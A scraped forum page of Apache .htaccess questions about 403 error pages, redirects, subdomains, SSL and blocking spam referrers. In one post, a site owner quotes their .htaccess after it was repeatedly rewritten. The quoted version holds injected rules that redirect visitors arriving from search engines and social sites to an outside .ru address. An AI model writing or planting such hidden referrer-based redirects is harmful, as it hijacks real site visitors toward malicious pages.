HTML - .htaccess Help?
Okay I want to make a .htaccess file but dont know where to start.. the tutorials on the net leave me way past confused..
I want it to be a 403 forbidden error message! any help ? Similar TutorialsI am not sure if this is the right place to ask this question, but here it goes. I have renamed a directory. To help with confusion I have decided to setup a .htaccess file in the old directory to redirect anyone who goes there by mistake. Old: bigdogcattle.com/?=Cattle/ New: bigdogcattle.com/?=Show-Cattle/ I am able to setup the file to work when someone types in: bigdogcattle.com/Cattle/, but not when they type in bigdogcattle.com/?=Cattle/. Can someone help? Thanks Jamie Hello, I have finished my website (about ~95%, only few things left to do and one of them - .htaccess). Created .htacces with content: Code: deny from all ErrorDocument 403 /403.html and puted in folders. Ex. Lets say i have these fodler's: gg nobody templates I wanna block access to templates folder, so putted .htaccess inside. Everythink work good, but let's say templates have inside folder: tpl So, full path templates/tpl. Putted inside .htaccess file too, but these problem: 403.html file loading, but not images. My files: 403.html and folder err with content: error.png and favicon.ico It's possible to make work 403.html from any folder in root, because now if there two or more folder images doesn't loadin. I'm new here so if I break any rules or post in wrong place please tell me. Basically I have a login system setup using .htaccess and .htpasswd. Is there any way to make a registration form so that when someone registers it automatically adds their username and password to the .htpasswd file? Thanks in advance Matt hey... i didnt know what forum to post this in, so admins, do what you want with this thread... I've recently taken over the web designing for a company... the site is already made, and the previous designer has dropped out, and the company needs me to make updates, add articles, etc. There are .htaccess files in almost every directory and subdirectory throughout the site. When I go to add an image, and make a link to it on a page, the image is not found, even though the source is correct. ex - initially, the page links to an image at "images/image1.jpg" . I make an image2.jpg, place it in the right folder, and try to link to it - "images/image2.jpg" but the image cannot be displayed on the site (says it cannot be found - same as a 404). I am assuming this has to do with the htaccess permissions and all that stuff (also in each directory is a "_notes" subdirectory and another directory like that) but I'm not sure. I wikipedia'd htaccess files, and read that they were made for apache servers... the server hosting the site I am working on uses IIS... another confusing problem. Is there anyway to edit these .htaccess files so that I can add more images to the site? Also, why cant I see images these 'blocked' images? Is there any way to disable this blocking? I have about 300 files in the format gb3aa.htm, gb3ab.htm, gb3zz.htm etc in my root directory and I want to redirect users to /newdirectory/gb3aa.htm etc If I put 300 entries in my .htaccess file such as: redirect /gb3aa.htm http://www.mydomain.com/newdirectory/gb3aa.htm it would work fine, but there must be a smarter way of doing this? I did try: RedirectMatch gb3(.*)\.htm$ /newdirectory/gb3$1.htm but this did not work. So, what is the smart way of achieving this please? Hi, At the moment I have my site redirecting to www.mysite.com if someone types mysite.com Now what I am looking to do is also redirect people typing w.mysite.com , ww.mysite.com & wwww.mysite.com This is the code I have in my .htaccess file currently Options +FollowSymLinks RewriteEngine on RewriteCond %{HTTP_HOST} ^mysite\.com RewriteRule ^(.*)$ http://www.mysite.com/$1 [R=301,L] Let me know if you require anymore explaining. Hi there! I've got this .htaccess Code: RewriteEngine on RewriteRule ^(.*/)$ index.php?$1 RewriteRule ^(.*#)$ index.php?$1 RewriteCond %{ENV:REDIRECT_STATUS} ^$ RewriteCond %{HTTP_HOST} !^www\.mysite\.com\.ar$ [NC] RewriteCond %{HTTP_HOST} ^(www\.)?([^\.]+)\.mysite\.com\.ar$ [NC] RewriteRule ^(.*)$ /index.php?$1 [QSA,L] So far it redirects whatever that looks like a folder (/something/, with an ending slash), and also any kind of subdomains. Now I wish to make use of those subdomains for languages (like: us.mysite.com.ar, for the USA site). Thing is, ALL of my images are linked like: HTML Code: src="/images/myimage.png" So whether I'm on a different subdomain than the regular one, the images won't be linked correctly. Aaaand it's priority that the subdomain remains in the URL (no redirection). Is there any way out of this without me having to replace every image (there are at least 200 xD)? Otherwise, I could redirect everything to index.php no matter what is it, and then have it generate the corresponding file (in case of an image or other file), or generate a page (in case of a folder, like, i dunno: mysite.com.ar/news/). But isn't this a lot slower and heavier for the server?. Anyway, please help me to have images in my site no matter what's the subdomain >.< Thanks everyone for your ideas in advance!! =) Hey guys, If I'm posting in wrong section I apologize I have a small problem what I need help with. I use a free service for redirecting people to my mobile site, but there service is down for last 6 days or something got wrong. Anyway I decided to use .htaccess rewrite to redirect them to mobile site. The problem I have is that I cant really find how to do it efficiently and what I need because I have two different mobile sites. here it goes: My site example.com First mobile site is example.com/index.php?template=3 (this one is mainly for blackberry and all rest mobile devices, and I like this one to load in opera mini also if possible) Second mobile site is example.com/index.php?template=5 (that one is specifically for iPhone and android phones) I am really don't know how to do it please! Thank you. what if you cant get htaccess to become writeable in word press will it affect my blogging anybody know Hi, I've just installed an SSL certificate on a shared server which results in my URL being changed from : http://www.mywebsite.com to https://web73.secure-secure.co.uk/mywebsite.com I have a few pages that I want to use SSL on, how can I use .htaccess mod rewrite to change the secure url to - https://www.mywebsite.com? thanks I am trying to get my .htaccess file to work with IE. It seems to work for with FF. Here is what I have: Code: ErrorDocument 404 /404.html <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.mydomain\.com$ [NC] RewriteRule ^(.*)$ http://www.mydomain.com/$1 [R=301,L] </IfModule> OK, guys.... Why does my .htaccess file keep getting rewritten? I change the file back, and within a few days it gets changed again. Befo Code: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.GreeleyElectric\.com$ [NC] RewriteRule ^(.*)$ http://www.GreeleyElectric.com/$1 [R=301,L] </IfModule> After: Code: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*) RewriteRule ^(.*)$ http://startmassage.ru/upday/index.php [R=301,L] RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*) RewriteRule ^(.*)$ http://startmassage.ru/upday/index.php [R=301,L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.GreeleyElectric\.com$ [NC] </IfModule> I am trying to write an .htaccess file that accomplishes three things, but I can't get them to happen all at once. Do I have something out of order? (the file is not active right now) I am trying to: 1) redirect all non-www to www (for the root directory main site) 2) redirect two specific pages to new pages and retain the link juice 3) not redirect two subdirectories that have other domains pointed to them (www.bigcountryacres.info points to the first and www.kidslovedrbarton.com points to the 2nd) The following code almost works. The two old .htm pages on the main site are redirected to their .html versions just fine. When going to a subdirectory, you can reach the index page the first time. Then if you link to a subpage and then go back to the home page link (just index.htm), it gets redirected to my main site instead. Any idea of what I'm doing wrong? Options +FollowSymLinks RewriteEngine on RewriteCond %{REQUEST_URI} !^/_BigCountryAcres/ RewriteCond %{REQUEST_URI} !^/_DrBarton/ RewriteCond %{HTTP_HOST} ^integritivity.com [NC] RewriteRule ^(.*)$ http://www.integritivity.com/$1 [L,R=301] redirect 301 /WebDesign.htm http://www.integritivity.com/WebDesign.html redirect 301 /index.htm http://www.integritivity.com/index.html Thanks, Robin Ok guys I own the site www.top200.org. Currently there are multiple websites using bots to spam my lists with hits causing too much CPU time to be used and my provider shutting down my servers temporarily each time. I currently use Aardvark Top Sites script and I've heard of others having the same problem. A solution was posted to make a .htaccess file that prevents anyone, including bots from certain urls from accessing your site. So I created a .htaccess file and yet apparently the CPU time is still being overloaded because my lists are always down. Please read the following code and tell me if this is the correct format for a file named .htaccess to block visitors from these certain sites from visiting mine Once again, the file is titled .htaccess RewriteEngine on RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?5sohbet\.net/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?89erotik\.com/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?aklimdasin\.net/.*$[NC,OR] RewriteRule .* - [F,L] just wanted to double check something i have some links that are posted as such: http://site.com/directory and i'm redirecting to: http://site.com/file.php Redirect 301 /directory http://site.com/file.php now in some spots, the original link included a forward-slash http://site.com/directory/ with the redirect above only, it directs to: http://site.com/file.php/ causing "file" not to load, and actually loading the 'homepage' with broken 'relative' links/images to fix it i simply added an additional redirect: Redirect 301 /directory/ http://site.com/file.php are there any issues with doing this? thanks. |